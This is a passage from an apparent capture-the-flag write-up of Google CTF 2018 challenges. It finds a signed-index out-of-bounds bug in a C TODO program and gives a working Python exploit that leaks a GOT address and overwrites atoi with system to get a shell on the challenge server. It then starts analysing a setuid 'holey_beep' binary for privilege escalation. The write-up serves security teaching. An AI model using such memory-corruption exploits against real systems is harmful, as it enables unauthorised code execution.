<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="nl">default:</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"unknown option %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">choice</span><span class="p">);</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Looking into the code I see that option 5 runs the <code class="language-plaintext highlighter-rouge">admin</code> function, let’s see what that does.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">administration_enabled</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">admin</span><span class="p">()</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Sorry, remote administration is not available right now."</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Well that was a bust, it doesn’t do much except for printing the string we just saw. Oh well, that doesn’t help us much, even the <code class="language-plaintext highlighter-rouge">administration_enabled</code> isn’t used anywhere…. We need to keep digging.</p>
<p>Okay, let’s start from the top choices and work our way down. When we choose the first option, case 1 is selected and it calls the <code class="language-plaintext highlighter-rouge">print_list</code> function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">print_list</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">list_is_empty</span><span class="p">())</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Your TODO list is empty. Enjoy your free time!"</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"+=====+=================================================================+"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">TODO_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">todos</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">])</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"| %3d | %-63s |</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"+=====+=================================================================+"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This function seems to print all the saved TODO strings from an array, nothing really wrong with this and there doesn’t seem to be a bug here.</p>
<p>What about option 2, which allows us to print a specific TODO entry? Looking into the code we see that option two or case 2 calls the <code class="language-plaintext highlighter-rouge">print_todo</code> function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">print_todo</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Which entry would you like to read? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Your TODO: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Right away I can spot an issue with this portion of the code. Take a look at the <code class="language-plaintext highlighter-rouge">idx</code> variable. This variable is a <a href="https://www.ibm.com/support/knowledgecenter/ssw_aix_72/com.ibm.aix.progcomc/int_dat_typ.htm">signed integer</a>!</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">IF</code> function only checks if <code class="language-plaintext highlighter-rouge">idx</code> is larger than <code class="language-plaintext highlighter-rouge">TODO_COUNT</code> which is defined at the start of the application.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define TODO_COUNT 128
</span></code></pre></div></div>
<p>So what happens if <code class="language-plaintext highlighter-rouge">idx</code> is less than 0? Or a negative number? What happens then? Are we able to read outside the bound of the stack?</p>
<p>Let’s also see option 3 which calls the <code class="language-plaintext highlighter-rouge">store_todo</code> function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">store_todo</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"In which slot would you like to store the new entry? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"What's your TODO? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="n">read_line</span><span class="p">(</span><span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">],</span> <span class="n">TODO_LENGTH</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>We have the same issue! So with this we have an <a href="https://cwe.mitre.org/data/definitions/125.html">out-of-bound reads</a> vulnerability, and also a <a href="https://cwe.mitre.org/data/definitions/123.html">write-what-where</a> condition which should allow us to read data from the stack, and also write to it.</p>
<p>Let’s open the <code class="language-plaintext highlighter-rouge">todo</code> binary in IDA and see if we can’t find the <code class="language-plaintext highlighter-rouge">store_todo</code> function call.</p>
<p align="center"><a href="/images/gctf18-pwn2-13.png"><img src="/images/gctf18-pwn2-13.png" /></a></p>
<p>Let’s double click on the <code class="language-plaintext highlighter-rouge">store_todo</code> function call to see where in memory it’s stored.</p>
<p align="center"><a href="/images/gctf18-pwn2-14.png"><img src="/images/gctf18-pwn2-14.png" /></a></p>
<p>Okay, so it seems that this function is stored in the <a href="https://en.wikipedia.org/wiki/.bss">.bss</a> section of memory which is used for statically allocated variables and the function is located at memory location <code class="language-plaintext highlighter-rouge">00203140</code>.</p>
<p>Since we can enter a negative number, we should be able to read up the stack. So let’s scroll up in this section to see what we can read and possibly overwrite.</p>
<p align="center"><a href="/images/gctf18-pwn2-15.png"><img src="/images/gctf18-pwn2-15.png" /></a></p>
<p>Awesome, it seems that the <a href="https://en.wikipedia.org/wiki/Global_Offset_Table">GOT</a> or Global Offset Table, and <a href="https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got">PLT</a> or the Procedure Linkage Table which is, used to call external procedures/functions whose address isn’t known in the time of linking, and is left to be resolved by the dynamic linker at run time.</p>
<p>LiveOverflow has a great video explaining the GOT and PLT, which I suggest you watch!</p>
<!-- Courtesy of embedresponsively.com //-->
<div class="responsive-video-container">
<iframe src="https://www.youtube-nocookie.com/embed/kUk5pw4w0h4" frameborder="0" allowfullscreen=""></iframe>
</div>
<p>So if we can read from or write to these addresses in the GOT and PLT, then we can call our own function to execute whatever we want, like <a href="https://www.tutorialspoint.com/c_standard_library/c_function_system.htm">system</a>.</p>
<p>But before we can do that, let’s check the protection in place for the application.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>checksec todo
<span class="go">[*] '/root/Google-CTF/Fridge Todo List/todo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
</span></code></pre></div></div>
<p>Darn, we can see that <a href="https://en.wikipedia.org/wiki/Position-independent_code">PIE</a> or Position Independent Executable is enabled for this binary, this allows of the use of <a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> or address space layout randomization which in turn is used to prevent attackers from knowing where existing executable code is.</p>
<p>While this normally would cause headaches for certain exploits, we’re fine! Reason why is because we have the ability to read and leak memory addresses. So we can write an exploit that will leak the current memory address and use that for further exploitation, allowing us to sort of avoid having to deal with ASLR.</p>
<p>Also take note of the following C line in the <code class="language-plaintext highlighter-rouge">store_todo</code> function.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">read_line</span><span class="p">(</span><span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">],</span> <span class="n">TODO_LENGTH</span><span class="p">);</span>
</code></pre></div></div>
<p>At the start of the application we define the TODO_LENGTH with the following line of code: <code class="language-plaintext highlighter-rouge">#define TODO_LENGTH 48</code>.</p>
<p>This means that we can only jump around in memory 48 bytes at a time, which isn’t much and can be a problem. Let’s see what memory addresses we can reach from our <code class="language-plaintext highlighter-rouge">store_todo</code> address.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>python
<span class="go">Python 2.7.15+ (default, Nov 28 2018, 16:27:22)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">></span><span class="o">>></span> todo_addrs <span class="o">=</span> 0x0203140
<span class="gp">></span><span class="o">>></span> <span class="k">for </span>x <span class="k">in </span>range<span class="o">(</span>7<span class="o">)</span>:
<span class="go">... hex(todo_addrs - 48 * x)
</span><span class="c">...
</span><span class="go">'0x203140'
'0x203110'
'0x2030e0'
'0x2030b0'
'0x203080'
'0x203050'
'0x203020'
</span></code></pre></div></div>
<p>Taking the last memory address of <code class="language-plaintext highlighter-rouge">0x203020</code>, let’s go back into IDA, press <code class="language-plaintext highlighter-rouge">G</code> and enter the address.</p>
<p align="center"><a href="/images/gctf18-pwn2-16.png"><img src="/images/gctf18-pwn2-16.png" /></a></p>
<p>Press <code class="language-plaintext highlighter-rouge">OK</code> and we should then see what memory region we can access.</p>
<p align="center"><a href="/images/gctf18-pwn2-17.png"><img src="/images/gctf18-pwn2-17.png" /></a></p>
<p>Awesome, so if we jump 288 (6*48) bytes back then we end up in the GOT where the <a href="http://codewiki.wikidot.com/c:system-calls:write">write</a> function is stored.</p>
<p>Let’s write a simply python exploit to leak that address and print it out for us.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'fridge-todo-list.ctfcompetition.com'</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"admin</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"2</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"-6</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Your TODO: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span>
<span class="n">leak</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\0</span><span class="s">"</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"<Q"</span><span class="p">,</span> <span class="n">leak</span><span class="p">[:</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">print</span> <span class="s">"Leaked Address: %x"</span> <span class="o">%</span> <span class="n">leak</span>
</code></pre></div></div>
<p>Once we have our skeleton exploit ready, let’s execute it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>python exploit.py
<span class="go">[+] Opening connection to fridge-todo-list.ctfcompetition.com on port 1337: Done
Leaked Address: 55d0e28fb916
[*] Closed connection to fridge-todo-list.ctfcompetition.com port 1337
</span></code></pre></div></div>
<p>With this leaked address we see <code class="language-plaintext highlighter-rouge">916</code>. We need to look for where this address is located at. Since the <code class="language-plaintext highlighter-rouge">write</code> function in the GOT, let’s check the PLT.</p>
<p>In IDA, press <code class="language-plaintext highlighter-rouge">CTRL+S</code> to bring up segments, and double click on the <code class="language-plaintext highlighter-rouge">.plt</code> segment.</p>
<p align="center"><a href="/images/gctf18-pwn2-18.png"><img src="/images/gctf18-pwn2-18.png" /></a></p>
<p>Once you double click that segment you will be brought to the graph view. From there press <code class="language-plaintext highlighter-rouge">SPACE</code> to bring up the address view and find <code class="language-plaintext highlighter-rouge">916</code>.</p>
<p align="center"><a href="/images/gctf18-pwn2-19.png"><img src="/images/gctf18-pwn2-19.png" /></a></p>
<p>Awesome so we are in fact in the PLT. With the address of <code class="language-plaintext highlighter-rouge">write</code> we can now calculate the entry address for the PLT by subtracting <code class="language-plaintext highlighter-rouge">916</code> from our leaked address. Once that’s calculated we can then get the address of the other function calls like <a href="https://www.tutorialspoint.com/c_standard_library/c_function_system.htm">system</a> by adding to the address.</p>
<p>So let’s find the address for <code class="language-plaintext highlighter-rouge">system</code>. Let’s go back into IDA and in the PLT table find <code class="language-plaintext highlighter-rouge">system</code>.</p>
<p align="center"><a href="/images/gctf18-pwn2-20.png"><img src="/images/gctf18-pwn2-20.png" /></a></p>
<p>Double click that to follow the cross reference and we should get the address for <code class="language-plaintext highlighter-rouge">system</code> which should be <code class="language-plaintext highlighter-rouge">940</code>.</p>
<p align="center"><a href="/images/gctf18-pwn2-21.png"><img src="/images/gctf18-pwn2-21.png" /></a></p>
<p>Great, now that we have that we can update our exploit code.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'fridge-todo-list.ctfcompetition.com'</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"admin</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"2</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"-6</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Your TODO: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span>
<span class="n">leak</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\0</span><span class="s">"</span>
<span class="n">leak</span> <span class="o">=</span> <span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"<Q"</span><span class="p">,</span> <span class="n">leak</span><span class="p">[:</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span> <span class="o">-</span> <span class="mh">0x916</span>
<span class="k">print</span> <span class="s">"Leaked Address: %x"</span> <span class="o">%</span> <span class="n">leak</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x940</span>
</code></pre></div></div>
<p>We now need to find an address in the GOT that we want to replace. In this case I want to replace the <a href="https://www.tutorialspoint.com/c_standard_library/c_function_atoi.htm">atoi</a> function call since it will convert ascii to integer, which occurs in our application.</p>
<p align="center"><a href="/images/gctf18-pwn2-22.png"><img src="/images/gctf18-pwn2-22.png" /></a></p>
<p>Looking at the location of <code class="language-plaintext highlighter-rouge">atoi</code> in the GOT PLT, we see that we need to overwrite past the <code class="language-plaintext highlighter-rouge">open</code> function. The <code class="language-plaintext highlighter-rouge">open</code> function is at memory address <code class="language-plaintext highlighter-rouge">203080</code> which should be <code class="language-plaintext highlighter-rouge">-4</code> from our python script when we calculated the memory offsets.</p>
<p>Once we know that, let’s update our exploit code to leak the addresses we need, write over the <code class="language-plaintext highlighter-rouge">open</code> function and overwrite <code class="language-plaintext highlighter-rouge">atoi</code> with the <code class="language-plaintext highlighter-rouge">system</code> address.</p>
<p>This will allow us to enter anything we want in the application which should then be executed by <code class="language-plaintext highlighter-rouge">system</code>.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'fridge-todo-list.ctfcompetition.com'</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"admin</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"2</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"-6</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Your TODO: "</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">while</span> <span class="nb">len</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o"><</span> <span class="mi">8</span><span class="p">:</span>
<span class="n">leak</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\0</span><span class="s">"</span>
<span class="n">leak</span> <span class="o">=</span> <span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"<Q"</span><span class="p">,</span> <span class="n">leak</span><span class="p">[:</span><span class="mi">8</span><span class="p">])[</span><span class="mi">0</span><span class="p">])</span> <span class="o">-</span> <span class="mh">0x916</span>
<span class="k">print</span> <span class="s">"Leaked Address: %x"</span> <span class="o">%</span> <span class="n">leak</span>
<span class="n">system</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">+</span> <span class="mh">0x940</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"3</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"-4</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"AAAAAAAA"</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"<Q"</span><span class="p">,</span> <span class="n">system</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Once we have the exploit updated, let’s execute it and see if it works.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>python exploit.py
<span class="go">[+] Opening connection to fridge-todo-list.ctfcompetition.com on port 1337: Done
Leaked Address: 560f722a7000
[*] Switching to interactive mode
Hi admin, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
</span><span class="gp">></span><span class="w">
</span><span class="go">In which slot would you like to store the new entry? What's your TODO?
Hi admin, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
</span><span class="gp">></span><span class="w"> </span><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 52
drwxr-xr-x 3 user user 4096 Oct 24 19:04 .
drwxr-xr-x 4 nobody nogroup 4096 Oct 24 19:04 ..
-rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 user user 655 May 16 2017 .profile
-r-sr-xr-x 1 admin user 9000 Sep 26 15:44 holey_beep
-r-xr-xr-x 1 user nogroup 18224 Sep 26 15:44 todo
drwxrwxrwt 2 user user 80 Mar 1 00:49 todos
</span></code></pre></div></div>
<p>Awesome, it works! So instead of converting our input to an integer, we get <code class="language-plaintext highlighter-rouge">system</code> to execute our commands!</p>
<p>Let’s find the flag!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> todos
<span class="go">total 12
drwxrwxrwt 2 user user 80 Mar 1 00:51 .
drwxr-xr-x 3 user user 4096 Oct 24 19:04 ..
-rw-r--r-- 1 user user 6144 Mar 1 00:51 CountZero
-rw------- 1 user user 0 Mar 1 00:51 admin
</span><span class="gp">></span><span class="w"> </span><span class="nv">$ </span><span class="nb">cat </span>todos/CountZero
<span class="go">Watch Hackers (again)Figure out why the fridge keeps beepingcheck check /home/user/holey_beepdebug the fridge - toilet connectivityfollow sec advice: CTF{goo.gl/cjHknW}/4513753
</span></code></pre></div></div>
<p>And there we have it folks, the flag!</p>
<p><strong>FLAG:</strong> CTF{goo.gl/cjHknW}</p>
<h2 id="holey-beep">Holey Beep</h2>
<p align="center"><a href="/images/gctf18-pwn2-23.png"><img src="/images/gctf18-pwn2-23.png" /></a></p>
<p>Upon reading the challenge description we learn that with the previous exploit we see the secret cake recipe file at the root directory of the system. We also learn that the alarm on the fridge keeps sounding all the time and seems to be the sign of the <a href="https://holeybeep.ninja/">Holey Beep</a> vulnerability (yes… that’s a real vulnerability!). We need to find a way to get a root shell to read the file.</p>
<p>Alright, knowing that let’s download the attachment and extract all the files. We should be presented with the following binary.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Holy Beep#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">holey_beep
</span><span class="gp">root@kali:~/Google-CTF/Holy Beep#</span><span class="w"> </span>file holey_beep
<span class="go">holey_beep: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6fe5703ed40e673f85df5a7332b9ad3d94a17c99, not stripped
</span></code></pre></div></div>
<p>If we look back into our previous challenge, once we got code execution we also see that the <code class="language-plaintext highlighter-rouge">holey_beep</code> binary is present there as well.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 52
drwxr-xr-x 3 user user 4096 Oct 24 19:04 .
drwxr-xr-x 4 nobody nogroup 4096 Oct 24 19:04 ..
-rw-r--r-- 1 user user 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 user user 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 user user 655 May 16 2017 .profile
-r-sr-xr-x 1 admin user 9000 Sep 26 15:44 holey_beep
-r-xr-xr-x 1 user nogroup 18224 Sep 26 15:44 todo
drwxrwxrwt 2 user user 80 Mar 1 00:49 todos
</span></code></pre></div></div>
<p>Fortunately for us this challenge gave us a big hint by providing info on the Holey Beep vulnerability which allowed for privilege escalation via a race condition in the <a href="https://linux.die.net/man/1/beep">beep</a> binary file. There’s a very good blog called “<a href="https://sigint.sh/#/holeybeep">HoleyBeep: Explanations and exploit</a>” that details the vulnerability and exploitation process that I highly suggest you read.</p>
<p>But before we go off track, let’s open the binary in IDA and see what the binary really does.</p>
<p align="center"><a href="/images/gctf18-pwn2-24.png"><img src="/images/gctf18-pwn2-24.png" /></a></p>
<p>So as detailed in the image, the application installs a signal 15, (hence <code class="language-plaintext highlighter-rouge">0F</code> in hex) via the <a href="https://www.tutorialspoint.com/cplusplus/cpp_signal_handling.htm">signal</a> function. This signal checks for the <a href="https://stackoverflow.com/questions/16723626/what-is-signal-15-received">SIGTERM</a> signal form the application. The application then goes to check if we have more than 1 argument. If we don’t it prints out a usage for us, otherwise it jumps to <code class="language-plaintext highlighter-rouge">loc_A21</code> which seems to be configuring a <code class="language-plaintext highlighter-rouge">FOR</code> loop.</p>
<p>The C code for this part of the application will look like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">v1</span><span class="p">;</span>
<span class="n">v1</span> <span class="o">=</span> <span class="n">argv</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">signal</span><span class="p">(</span><span class="mi">15</span><span class="p">,</span> <span class="n">handle_sigterm</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">__sighandler_t</span><span class="p">)</span><span class="o">-</span><span class="mi">1LL</span><span class="p">)</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"signal"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o"><=</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"usage: holey_beep period1 [period2] [period3] [...]"</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="o">?</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">)</span>
<span class="p">{</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Let’s look deeper into the application to see what else is going on.</p>
<p align="center"><a href="/images/gctf18-pwn2-25.png"><img src="/images/gctf18-pwn2-25.png" /></a></p>
<p>So it seems the <code class="language-plaintext highlighter-rouge">FOR</code> loop is using our argument counter, and for each argument it sets up a new variable called <code class="language-plaintext highlighter-rouge">device</code> which attempts to open <code class="language-plaintext highlighter-rouge">dev/console</code> via the <a href="http://codewiki.wikidot.com/c:system-calls:open">open</a> function. So this seems to be a bug since isn’t this supposed to be <code class="language-plaintext highlighter-rouge">/dev/console</code>?</p>
<p>After that it checks to make sure that the device integer is less than 0, if it is, it prints an error.</p>
<p>So knowing that, the updated C code for this should look like so.</p>
